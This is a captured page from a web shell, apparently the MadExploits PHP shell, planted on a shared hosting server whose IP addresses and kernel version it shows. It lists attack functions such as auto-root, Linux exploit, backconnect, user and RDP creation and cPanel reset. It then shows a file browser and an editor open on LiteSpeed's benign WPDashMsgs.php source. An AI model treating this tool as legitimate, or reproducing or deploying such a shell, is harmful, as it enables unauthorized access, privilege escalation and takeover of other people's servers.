Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
local /
lsws /
add-ons /
webcachemgr /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Context
[ DIR ]
drwxrwxr-x
Panel
[ DIR ]
drwxrwxr-x
ThirdParty
[ DIR ]
drwxrwxr-x
View
[ DIR ]
drwxrwxr-x
WpWrapper
[ DIR ]
drwxrwxr-x
AjaxResponse.php
1.79
KB
-rw-rw-r--
CliController.php
40.77
KB
-rw-rw-r--
DashNotifier.php
9.89
KB
-rw-rw-r--
LSCMException.php
651
B
-rw-rw-r--
LogEntry.php
1.72
KB
-rw-rw-r--
Logger.php
17.95
KB
-rw-rw-r--
PanelController.php
56.14
KB
-rw-rw-r--
PluginVersion.php
22.58
KB
-rw-rw-r--
RedefineGlobalFuncs.php
865
B
-rw-rw-r--
UserCommand.php
28.72
KB
-rw-rw-r--
Util.php
18.15
KB
-rw-rw-r--
WPCaller.php
54.41
KB
-rw-rw-r--
WPDashMsgs.php
4.75
KB
-rw-rw-r--
WPInstall.php
16.81
KB
-rw-rw-r--
WPInstallStorage.php
33.24
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WPDashMsgs.php
<?php /** ********************************************* * LiteSpeed Web Server WordPress Dash Notifier * * @author Michael Alegre * @copyright 2019-2023 LiteSpeed Technologies, Inc. * ******************************************* */ namespace Lsc\Wp; class WPDashMsgs { /** * @var string */ const MSG_TYPE_RAP = 'rap'; /** * @var string */ const MSG_TYPE_BAM = 'bam'; /** * @var string */ const KEY_RAP_MSGS = 'rapMsgs'; /** * @var string */ const KEY_BAM_MSGS = 'bamMsgs'; /** * Do not change the following constant values, substr 'msg' is used in * PanelController to determine action. */ /** * @var string */ const ACTION_GET_MSG = 'msgGet'; /** * @var string */ const ACTION_ADD_MSG = 'msgAdd'; /** * @var string */ const ACTION_DELETE_MSG = 'msgDelete'; /** * @var string */ protected $dataFile; /** * @var string[][] */ protected $msgData = array(); public function __construct( ) { $this->dataFile = realpath(__DIR__ . '/../../..') . '/admin/lscdata/wpDashMsgs.data'; $this->init(); } protected function init() { if ( file_exists($this->dataFile) ) { $data = json_decode(file_get_contents($this->dataFile), true); if ( $data && is_array($data) ) { $this->msgData = $data; } } if ( !isset($this->msgData[self::KEY_RAP_MSGS]) ) { $this->msgData[self::KEY_RAP_MSGS] = array(); } if ( !isset($this->msgData[self::KEY_BAM_MSGS]) ) { $this->msgData[self::KEY_BAM_MSGS] = array(); } /** * Set default rap message and plugin slug. */ $this->msgData[self::KEY_RAP_MSGS] = array_merge( array( 'default' => array( 'msg' => 'Greetings! This is your hosting company ' . 'encouraging you to click the button to install the ' . 'LiteSpeed Cache plugin. This plugin will speed up ' . 'your WordPress site dramatically. Please contact us ' . 'with any questions.', 'slug' => 'litespeed-cache' ) ), $this->msgData[self::KEY_RAP_MSGS] ); } /** * * @param string $type * * @return string[]|string[][] */ public function getMsgData( $type = '' ) { switch ($type) { case self::MSG_TYPE_RAP: return $this->msgData[self::KEY_RAP_MSGS]; case self::MSG_TYPE_BAM: return $this->msgData[self::KEY_BAM_MSGS]; default: return $this->msgData; } } /** * * @param string $type * @param string $msgId * @param string $msg * @param string $slug * * @return bool */ public function addMsg( $type, $msgId, $msg, $slug = '' ) { if ( $msgId === '' || $msgId === NULL || ($msgId == 'default' && $type == self::MSG_TYPE_RAP) || strlen($msgId) > 50 || preg_match('/[^a-zA-Z0-9_-]/', $msgId) ) { return false; } switch ($type) { case self::MSG_TYPE_RAP: $this->msgData[self::KEY_RAP_MSGS][$msgId] = array( 'msg' => $msg, 'slug' => $slug ); break; case self::MSG_TYPE_BAM: $this->msgData[self::KEY_BAM_MSGS][$msgId] = array( 'msg' => $msg ); break; default: return false; } $this->saveDataFile(); return true; } /** * * @param string $type * @param string $msgId * * @return bool */ public function deleteMsg( $type, $msgId ) { if ( $msgId === '' || $msgId === NULL ) { return false; } switch ($type) { case self::MSG_TYPE_RAP: if ( $msgId == 'default' ) { return false; } $key = self::KEY_RAP_MSGS; break; case self::MSG_TYPE_BAM: $key = self::KEY_BAM_MSGS; break; default: return false; } if ( isset($this->msgData[$key][$msgId]) ) { unset($this->msgData[$key][$msgId]); $this->saveDataFile(); return true; } return false; } protected function saveDataFile() { file_put_contents($this->dataFile, json_encode($this->msgData)); } }
Close